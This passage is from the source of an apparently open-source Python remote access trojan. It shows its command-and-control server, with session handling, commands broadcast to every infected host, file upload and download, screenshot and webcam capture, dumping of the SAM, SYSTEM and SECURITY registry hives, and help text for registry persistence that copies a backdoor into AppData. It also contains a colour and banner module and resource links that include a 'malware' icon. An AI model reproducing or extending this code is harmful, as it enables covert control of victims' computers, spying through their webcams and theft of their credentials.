*RegName* *filename* --> Create Persistence In Registry 262 | copies backdoor to ~/AppData/Roaming/filename 263 | example: persistence Backdoor windows32.exe 264 | check --> Check If Has Administrator Privileges 265 | 266 | 267 | \n''') 268 | 269 | 270 | def c2_help_manual(): 271 | print('''\n 272 | ===Command and Control (C2) Manual=== 273 | 274 | targets --> Prints Active Sessions 275 | session *session num* --> Will Connect To Session (background to return) 276 | clear --> Clear Terminal Screen 277 | exit --> Quit ALL Active Sessions and Closes C2 Server!! 278 | kill *session num* --> Issue 'quit' To Specified Target Session 279 | sendall *command* --> Sends The *command* To ALL Active Sessions (sendall notepad) 280 | \n''') 281 | 282 | 283 | 284 | 285 | 286 | def accept_connections(): 287 | while True: 288 | if start_flag == False: 289 | break 290 | sock.settimeout(1) 291 | try: 292 | target, ip = sock.accept() 293 | targets.append(target) 294 | ips.append(ip) 295 | # print(termcolor.colored(str(ip) + ' has connected!', 'green')) 296 | print(Colour().green(str(ip) + ' has connected!') + 297 | '\n[**] Command & Control Center: ', end="") 298 | except: 299 | pass 300 | 301 | 302 | def close_all_target_connections(targets): 303 | for target in targets: 304 | reliable_send(target, 'quit') 305 | target.close() 306 | 307 | 308 | def send_heartbeat(target): 309 | while True: 310 | reliable_send(target, 'heartbeat') 311 | time.sleep(10) # adjust the sleep time as needed 312 | 313 | 314 | def send_heartbeat_to_all_targets(targets): 315 | 316 | while True: 317 | for target in targets: 318 | reliable_send(target, 'heartbeat') 319 | start_time = time.time() 320 | while True: 321 | if time.time() - start_time > heartbeat_timeout: # timeout after 10 seconds 322 | print(f"Target {target} did not respond to heartbeat. It might be down.", end="") 323 | c2_input_text() 324 | # handle target not responding here (e.g., remove from list, try to reconnect, etc.) 325 | break 326 | try: 327 | message = reliable_recv(target) 328 | if message == 'heartbeat_ack': 329 | break # heartbeat acknowledged, break inner loop and move to next target 330 | except Exception as e: 331 | print(f"An error occurred while waiting for heartbeat acknowledgment: {e}", end="") 332 | c2_input_text() 333 | break # if an error occurred, break inner loop and move to next target 334 | time.sleep(heartbeat_wait) # adjust the sleep time as needed 335 | 336 | 337 | def c2_input_text(): 338 | print('\n[**] Command & Control Center: ', end="") 339 | 340 | 341 | def show_targets(ips): 342 | counter = 0 343 | for ip in ips: 344 | print('Session ' + str(counter) + ' --- ' + str(ip)) 345 | counter += 1 346 | 347 | def graceful_exit(): 348 | try: 349 | # Your script's code... 350 | if input('\nDo you want to exit? yes/no: ') == 'yes': 351 | sys.exit() # Use sys.exit() instead of quit() 352 | except KeyboardInterrupt: 353 | print("\nInterrupted by user. Exiting...") 354 | sys.exit() 355 | except SystemExit: 356 | # Handle the SystemExit exception. You could do some cleanup here if necessary. 357 | print("\nExiting the script...") 358 | sys.exit() # Exit the script 359 | except Exception as e: 360 | print(f"An unexpected error occurred: {e}") 361 | sys.exit(1) # Exit the script with an error status code 362 | 363 | 364 | def kill_target(targets, ips, command): 365 | """ 366 | Kills a target specified in the command. 367 | Args: 368 | targets (list): The list of targets. 369 | ips (list): The list of IPs. 370 | command (str): The command that specifies which target to kill. 371 | """ 372 | target_index = int(command[5:]) 373 | target = targets[target_index] 374 | ip = ips[target_index] 375 | reliable_send(target, 'quit') 376 | target.close() 377 | targets.remove(target) 378 | ips.remove(ip) 379 | 380 | 381 | def send_all(targets, command): 382 | """ 383 | Sends a command to all targets. 384 | Args: 385 | targets (list): The list of targets to send the command to. 386 | command (str): The command to send. 387 | """ 388 | target_count = len(targets) 389 | print(Colour.blue(f'Number of sessions {target_count}')) 390 | print(Colour.green('Target sessions!')) 391 | i = 0 392 | try: 393 | while i < target_count: 394 | target = targets[i] 395 | print(target) 396 | reliable_send(target, command) 397 | i += 1 398 | except Exception as e: 399 | print(f'Failed to send command to all targets. Error: {e}') 400 | 401 | def handle_session_command(targets, ips, command): 402 | """ 403 | Handles a 'session' command. 404 | Args: 405 | targets (list): The list of targets. 406 | ips (list): The list of IPs. 407 | command (str): The command to handle. 408 | """ 409 | try: 410 | session_id = int(command[8:]) 411 | target = targets[session_id] 412 | ip = ips[session_id] 413 | target_communication(target, ip) 414 | except Exception as e: 415 | print('[-] No Session Under That ID Number. Error: ', e) 416 | 417 | 418 | def handle_sam_dump(target, command): 419 | reliable_send(target, command) 420 | sam_data, system_data, security_data = reliable_recv(target) 421 | if isinstance(sam_data, str): # An error message was returned 422 | print(sam_data) 423 | else: # The file data was returned 424 | with open('SAM_dump', 'wb') as f: 425 | f.write(sam_data) 426 | with open('SYSTEM_dump', 'wb') as f: 427 | f.write(system_data) 428 | with open('SECURITY_dump', 'wb') as f: 429 | f.write(security_data) 430 | 431 | 432 | def exit_all(targets, sock, t1): 433 | """ 434 | Exits all connections with targets, closes the socket, and stops the thread. 435 | Args: 436 | targets (list): The list of targets to disconnect from. 437 | sock (socket): The socket to close. 438 | t1 (Thread): The thread to stop. 439 | """ 440 | start_flag = True 441 | for target in targets: 442 | reliable_send(target, 'quit') 443 | target.close() 444 | sock.close() 445 | t1.join() 446 | 447 | 448 | def list_targets(ips): 449 | """ 450 | Lists all the targets. 451 | Args: 452 | ips (list): The list of IPs. 453 | """ 454 | for counter, ip in enumerate(ips): 455 | print('Session ' + str(counter) + ' --- ' + str(ip)) 456 | 457 | 458 | def clear_c2_console(): 459 | """ 460 | Clears the console. 461 | """ 462 | os.system('clear') 463 | 464 | 465 | def print_command_does_not_exist(): 466 | """ 467 | Prints a message indicating that the command does not exist. 468 | """ 469 | print(Colour().red('[!!] Command Doesn\'t Exist'), end=" - ") 470 | print(Colour.yellow('Try running `help` command'), end="\n") 471 | 472 | 473 | def handle_keyboard_interrupt(): 474 | """ 475 | Handles KeyboardInterrupt and SystemExit exceptions. 476 | """ 477 | print(Colour().blue('\nPlease use "exit" command')) 478 | 479 | 480 | def handle_value_error(e): 481 | """ 482 | Handles ValueError exceptions. 483 | Args: 484 | e (Exception): The exception to handle. 485 | """ 486 | print(Colour().red('[!!] ValueError: ' + str(e))) 487 | 488 | 489 | def initialise_socket(): 490 | """ 491 | Initializes the socket. 492 | Returns: 493 | The initialized socket. 494 | """ 495 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 496 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 497 | sock.bind(('127.0.0.1', 5555)) 498 | sock.listen(5) 499 | return sock 500 | 501 | 502 | def start_accepting_connections(sock): 503 | """ 504 | Starts a thread to accept connections. 505 | Args: 506 | sock (socket): The socket on which to accept connections. 507 | Returns: 508 | The thread object. 509 | """ 510 | t1 = threading.Thread(target=accept_connections) 511 | t1.start() 512 | return t1 513 | 514 | 515 | def print_banner_and_initial_info(): 516 | """ 517 | Prints the banner and information messages. 518 | """ 519 | print(banner()) 520 | print('Run "help" command to see the usage manual') 521 | print(Colour().green('[+] Waiting For The Incoming Connections ...')) 522 | 523 | 524 | def join_thread(t1): 525 | t1.join() 526 | 527 | 528 | def close_socket(sock): 529 | sock.close() 530 | global start_flag 531 | start_flag = False 532 | 533 | 534 | def exit_c2_server(sock, t1): 535 | close_socket(sock) 536 | join_thread(t1) 537 | print(Colour().yellow('\n[-] C2 Socket Closed! Bye!!')) 538 | 539 | 540 | def target_communication(target, ip): 541 | screenshot_count = 0 542 | webcam_count = 0 543 | 544 | while True: 545 | command = input('* Shell~%s: ' % str(ip)) 546 | reliable_send(target, command) 547 | if command == 'quit': 548 | break 549 | elif command == 'background' or command == 'bg': 550 | break 551 | elif command == 'clear': 552 | os.system('clear') 553 | elif command[:3] == 'cd ': 554 | pass 555 | elif command[:6] == 'upload': 556 | upload_file(target, command[7:]) 557 | elif command[:8] == 'download': 558 | download_file(target, command[9:]) 559 | elif command[:10] == 'screenshot': 560 | screenshot(target, screenshot_count) 561 | screenshot_count += 1 562 | elif command[:6] == 'webcam': 563 | webcam(target, webcam_count) 564 | webcam_count += 1 565 | elif command[:12] == 'get_sam_dump': 566 | handle_sam_dump(target, command) 567 | elif command == 'help': 568 | server_help_manual() 569 | else: 570 | result = reliable_recv(target) 571 | print(result) 572 | 573 | 574 | def run_c2_server(targets, ips, sock, t1, start_flag): 575 | """ 576 | Runs the Command & Control server. 577 | Args: 578 | targets (list): The list of target connections. 579 | ips (list): The list of IP addresses of the targets. 580 | sock (socket): The server socket. 581 | t1 (threading.Thread): The thread that's accepting connections. 582 | start_flag (bool): Flag indicating whether to start or stop the server. 583 | """ 584 | 585 | while start_flag: 586 | try: 587 | command = input('[**] Command & Control Center: ') 588 | if command == 'targets': 589 | list_targets(ips) 590 | elif command == 'clear': 591 | clear_c2_console() 592 | elif command[:7] == 'session': 593 | handle_session_command(targets, ips, command) 594 | elif command == 'exit': 595 | close_all_target_connections(targets) 596 | start_flag = exit_c2_server(sock, t1) 597 | elif command[:4] == 'kill': 598 | kill_target(targets, ips, command) 599 | elif command[:7] == 'sendall': 600 | send_all(targets, command) 601 | elif command[:4] == 'help': 602 | c2_help_manual() 603 | elif command[:9] == 'heartbeat': 604 | continue 605 | elif command == 'heartbeat_all': 606 | continue 607 | else: 608 | print_command_does_not_exist() 609 | except (KeyboardInterrupt, SystemExit): 610 | handle_keyboard_interrupt() 611 | except ValueError as e: 612 | handle_value_error(e) 613 | 614 | 615 | if __name__ == '__main__': 616 | targets = [] 617 | ips = [] 618 | start_flag = True 619 | 620 | sock = initialise_socket() 621 | t1 = start_accepting_connections(sock) 622 | print_banner_and_initial_info() 623 | 624 | run_c2_server(targets, ips, sock, t1, start_flag) 625 | 626 | # TODO: encrypt connection 627 | # TODO: Implement a 'heartbeat' -------------------------------------------------------------------------------- /server/colour.py: -------------------------------------------------------------------------------- 1 | def banner(): 2 | return (Colour.green(""" 3 | ,------. ,------. ,---. ,--------. 4 | | .--. ',--. ,--.| .--. ' / O \'--. .--' 5 | | '--' | \ ' / | '--'.'| .-. | | | 6 | | | --' \ ' | |\ \ | | | | | | 7 | `--' .-' / `--' '--'`--' `--' `--' 8 | `---' 9 | """) + "(" + 10 | Colour.blue("v0.12.0-alpha") + ")" + 11 | Colour.yellow(" Author: safesploit") + 12 | "\n") 13 | 14 | 15 | class Colour(): 16 | @staticmethod 17 | def red(str): 18 | return "\033[91m" + str + "\033[0m" 19 | 20 | @staticmethod 21 | def green(str): 22 | return "\033[92m" + str + "\033[0m" 23 | 24 | @staticmethod 25 | def yellow(str): 26 | return "\033[93m" + str + "\033[0m" 27 | 28 | @staticmethod 29 | def blue(str): 30 | return "\033[94m" + str + "\033[0m" 31 | 32 | # TODO 33 | # The following are untested values 34 | 35 | @staticmethod 36 | def purple(str): 37 | return "\033[95m" + str + "\033[0m" 38 | 39 | @staticmethod 40 | def cyan(str): 41 | return "\033[96m" + str + "\033[0m" 42 | 43 | @staticmethod 44 | def white(str): 45 | return "\033[97m" + str + "\033[0m" 46 | 47 | @staticmethod 48 | def black(str): 49 | return "\033[90m" + str + "\033[0m" 50 | 51 | 52 | @staticmethod 53 | def bright_green(str): 54 | return "\033[1;92m" + str + "\033[0m" 55 | 56 | @staticmethod 57 | def bright_yellow(str): 58 | return "\033[1;93m" + str + "\033[0m" 59 | 60 | @staticmethod 61 | def bright_blue(str): 62 | return "\033[1;94m" + str + "\033[0m" 63 | 64 | @staticmethod 65 | def bright_purple(str): 66 | return "\033[1;95m" + str + "\033[0m" 67 | 68 | @staticmethod 69 | def bright_cyan(str): 70 | return "\033[1;96m" + str + "\033[0m" 71 | 72 | @staticmethod 73 | def bright_white(str): 74 | return "\033[1;97m" + str + "\033[0m" 75 | 76 | @staticmethod 77 | def bg_red(str): 78 | return "\033[41m" + str + "\033[0m" 79 | 80 | @staticmethod 81 | def bg_green(str): 82 | return "\033[42m" + str + "\033[0m" 83 | 84 | @staticmethod 85 | def bg_yellow(str): 86 | return "\033[43m" + str + "\033[0m" 87 | 88 | @staticmethod 89 | def bg_blue(str): 90 | return "\033[44m" + str + "\033[0m" 91 | 92 | @staticmethod 93 | def bg_purple(str): 94 | return "\033[45m" + str + "\033[0m" 95 | 96 | @staticmethod 97 | def bg_cyan(str): 98 | return "\033[46m" + str + "\033[0m" 99 | 100 | @staticmethod 101 | def bg_white(str): 102 | return "\033[47m" + str + "\033[0m" 103 | # print(banner()) 104 | -------------------------------------------------------------------------------- /sfx-resources/gibraltar.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safesploit/PythonRAT/bd9992dbb0f310ab4a055b92ceabfd44f56a143a/sfx-resources/gibraltar.jpg -------------------------------------------------------------------------------- /sfx-resources/gibraltar128x128.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safesploit/PythonRAT/bd9992dbb0f310ab4a055b92ceabfd44f56a143a/sfx-resources/gibraltar128x128.ico -------------------------------------------------------------------------------- /sfx-resources/malware128x128.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safesploit/PythonRAT/bd9992dbb0f310ab4a055b92ceabfd44f56a143a/sfx-resources/malware128x128.ico --------------------------------------------------------------------------------